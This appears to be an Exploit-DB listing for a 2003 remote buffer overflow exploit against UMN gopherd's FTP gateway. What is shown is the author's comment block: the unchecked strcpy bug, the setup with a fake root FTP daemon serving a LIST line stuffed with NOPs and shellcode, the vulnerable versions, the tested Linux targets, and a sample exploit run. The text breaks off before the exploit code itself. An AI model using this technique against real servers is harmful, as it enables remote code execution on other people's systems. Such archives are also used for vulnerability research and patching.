Exploit-DB #84
Description: Gopherd 3.0.5 - FTP Gateway Remote Overflow
Type: remote
Platform: linux
Date: 2003-08-22
Author: vade79

Exploit:
/* [ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]
 *                                                                                                
 * by: vade79/v9 v9 at fakehalo.deadpig.org (fakehalo/realhalo)
 *                                                                                                
 * three years since last audit, code is a little more secure.  but,         
 * still found a few potentially exploitable situations.  this                  
 * exploits the "ftp gateway" feature of gopherd.  the gateway is        
 * intended to act as a proxy of sorts.  between the server, and the    
 * client.  the bug occurs when gopherd attempts to read a ftp            
 * list(LIST), and strcpy()'s the filename without checking the             
 * length.  an example would look like this(including where to put       
 * the shellcode at):                                                                      
 *                                                                                                
 * "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>"        
 *                                                                                                 
 * to exploit this, there needs to be a fake ftp daemon of sorts.         
 * and, do to the nature of gopherd's "ftp gateway" support, must be  
 * on port 21.  which means this exploit needs to run as root.             
 *                                                                                             
 *  when exploiting this bug, it is made moderately easy by gopherd.   
 * because, the buffer that holds the string is 8192 bytes, and on       
 * the stack.  meaning the amount of NOPs used can be around 7500 
 *                                                                   
 * requirements(general):                                            
 * gopherd must have "ftp gateway" support included on compile,     
 * this is true by default.  but, the "--disable-ftp" configure     
 * option will make exploitation of this bug impossible.            
 *                                                                 
 * requirements(for this exploit):                                   
 * the server must be running linux/x86(what i made the exploit     
 * for).  gopherd must be started in the root directory "/",        
 * running with the -c command line option, or started as non-root. 
 * any of those three situations will allow for successful          
 * exploitation.  this does not mean it is impossible to exploit    
 * otherwise.  but, gopherd will be in a chroot()'d state.  and, as 
 * of the 2.4 kernel series, i have seen no such way to break       
 * chroot.  if it is desired to still run code, even in a limited   
 * environment, simply change the shellcode to your likings.  also, 
 * the exploit must be ran as root, to bind to port 21.             
 *                                                                  
 * bug location(gopher-3.0.5/gopherd/ftp.c):                         
 * 1800:int                                                         
 * 1801:GopherFile(FTP ftp, char buf, char theName)              
 * 1802:{                                                           
 * ...                                                              
 * 1805:char tmpName[256];                                          
 * ...                                                              
 * 1811:strcpy(tmpName, buf);                                       
 *                                                                 
 * vulnerable versions:                                              
 * v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),              
 * v2.3.1. (patch level 0 through 15/all 2.3.1 versions)            
 * (it is assumed versions before 2.3.1 are vulnerable as well)     
 *                                                                  
 * tested on platforms(with no code changes/offsets):                
 * RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686           
 * Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 
 * (tested on both v3.0.5, and v2.3.1 sources / no changes.  this   
 * should apply to pretty much any generic linux, do to the amount  
 * of NOPs(~7500 bytes guessing room), and on the stack)            
 *                                                                 
 * example usage:                                                    
 * # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp                        
 * # ./xgopherd2k3-ftp localhost 127.0.0.1                          
 * [] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.    
 * [] "UMN gopherd remote ftp gateway buffer overflow"             
 * [] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)             
 *                                                                 
 * [] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ 
 *                                                                
 * [] starting ftp daemon. (background)                            
 * [] attempting to connect: localhost:70.                         
 * [] connected successfully: localhost:70.                        
 * [?] +GOPHERD: "ftp://x:x@127.0.0.1".                             
 * [?] ftp daemon connection established.                           
 * [?] -FTPD: "SYST".                                               
 * [?] -FTPD: "USER x".                                             
 * [?] -FTPD: "PASS x".                                             
 * [?] -FTPD: "PORT 127,0,0,1,128,35".                              
 * [?] -FTPD: "LIST -F".                                            
 * [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $ 
 * [] waiting for ftp daemon to finish. (ctrl-c if needed)         
 * [] ftp daemon connection c